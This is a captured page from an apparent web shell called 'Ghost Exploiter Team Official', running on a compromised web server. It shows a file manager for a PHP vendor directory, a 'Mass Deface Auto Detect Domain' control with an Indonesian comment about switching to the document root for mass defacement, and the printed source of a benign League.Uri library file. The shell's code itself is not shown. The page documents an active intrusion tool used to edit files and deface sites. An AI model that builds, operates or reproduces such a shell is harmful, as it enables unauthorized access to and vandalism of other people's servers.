Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
league
/
uri-interfaces
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Contracts
--
ren
Exceptions
--
ren
IPv4
--
ren
IPv6
--
ren
Idna
--
ren
KeyValuePair
--
ren
Encoder.php
16.797KB
edt
ren
FeatureDetection.php
2.073KB
edt
ren
HostFormat.php
0.342KB
edt
ren
HostRecord.php
13.503KB
edt
ren
HostType.php
0.38KB
edt
ren
LICENSE
1.064KB
edt
ren
QueryComposeMode.php
2.913KB
edt
ren
QueryExtractMode.php
1.496KB
edt
ren
QueryString.php
17.028KB
edt
ren
StringCoercionMode.php
5.817KB
edt
ren
UriComparisonMode.php
0.366KB
edt
ren
UriString.php
25.12KB
edt
ren
UrnComparisonMode.php
0.37KB
edt
ren
composer.json
1.821KB
edt
ren
<?php /** * League.Uri (https://uri.thephpleague.com) * * (c) Ignace Nyamagana Butera <nyamsprod@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace League\Uri; use BackedEnum; use League\Uri\Contracts\UriComponentInterface; use Stringable; use TypeError; use Uri\Rfc3986\Uri as Rfc3986Uri; use Uri\WhatWg\Url as WhatWgUrl; use ValueError; use function array_is_list; use function array_map; use function get_debug_type; use function implode; use function is_array; use function is_float; use function is_infinite; use function is_nan; use function is_object; use function is_resource; use function is_scalar; use function json_encode; use const JSON_PRESERVE_ZERO_FRACTION; enum StringCoercionMode { /** * PHP conversion mode. * * Guarantees that only scalar values, BackedEnum, and null are accepted. * Any object, UnitEnum, resource, or recursive structure * results in an error. * * - null: is not converted and stays the `null` value * - string: used as-is * - bool: converted to string “0” (false) or “1” (true) * - int: converted to numeric string (123 -> “123”) * - float: converted to decimal string (3.14 -> “3.14”) * - Backed Enum: converted to their backing value and then stringify see int and string */ case Native; /** * Ecmascript conversion mode. * * Guarantees that only scalar values, BackedEnum, and null are accepted. * Any resource, or recursive structure results in an error. * * - null: converted to string “null” * - string: used as-is * - bool: converted to string “false” (false) or “true” (true) * - int: converted to numeric string (123 -> “123”) * - float: converted to decimal string (3.14 -> “3.14”), "NaN", "-Infinity" or "Infinity" * - Backed Enum: converted to their backing value and then stringify see int and string * - Array as list are flatten into a string list using the "," character as separator * - Associative array, Unit Enum, any object without stringification semantics is coerced to "[object Object]". */ case Ecmascript; private const RECURSION_MARKER = "\0__RECURSION_INTERNAL_MARKER_WHATWG__\0"; public function isCoercible(mixed $value): bool { return self::Ecmascript === $this ? !is_resource($value) : match (true) { $value instanceof Rfc3986Uri, $value instanceof WhatWgUrl, $value instanceof BackedEnum, $value instanceof Stringable, is_scalar($value), null === $value => true, default => false, }; } /** * @throws TypeError if the type is not supported by the specific case * @throws ValueError if circular reference is detected */ public function coerce(mixed $value): ?string { return match ($this) { self::Ecmascript => match (true) { $value instanceof Rfc3986Uri => $value->toString(), $value instanceof WhatWgUrl => $value->toAsciiString(), $value instanceof BackedEnum => (string) $value->value, $value instanceof Stringable => $value->__toString(), is_object($value) => '[object Object]', is_array($value) => match (true) { self::hasCircularReference($value) => throw new ValueError('Recursive array structure detected; unable to coerce value.'), array_is_list($value) => implode(',', array_map($this->coerce(...), $value)), default => '[object Object]', }, true === $value => 'true', false === $value => 'false', null === $value => 'null', is_float($value) => match (true) { is_nan($value) => 'NaN', is_infinite($value) => 0 < $value ? 'Infinity' : '-Infinity', default => (string) json_encode($value, JSON_PRESERVE_ZERO_FRACTION), }, is_scalar($value) => (string) $value, default => throw new TypeError('Unable to coerce value of type "'.get_debug_type($value).'" with "'.$this->name.'" coercion.'), }, self::Native => match (true) { $value instanceof UriComponentInterface => $value->value(), $value instanceof WhatWgUrl => $value->toAsciiString(), $value instanceof Rfc3986Uri => $value->toString(), $value instanceof BackedEnum => (string) $value->value, $value instanceof Stringable => $value->__toString(), false === $value => '0', true === $value => '1', null === $value => null, is_scalar($value) => (string) $value, default => throw new TypeError('Unable to coerce value of type "'.get_debug_type($value).'" with "'.$this->name.'" coercion.'), }, }; } /** * Array recursion detection. * @see https://stackoverflow.com/questions/9042142/detecting-infinite-array-recursion-in-php */ private static function hasCircularReference(array &$arr): bool { if (isset($arr[self::RECURSION_MARKER])) { return true; } try { $arr[self::RECURSION_MARKER] = true; foreach ($arr as $key => &$value) { if (self::RECURSION_MARKER !== $key && is_array($value) && self::hasCircularReference($value)) { return true; } } return false; } finally { unset($arr[self::RECURSION_MARKER]); } } }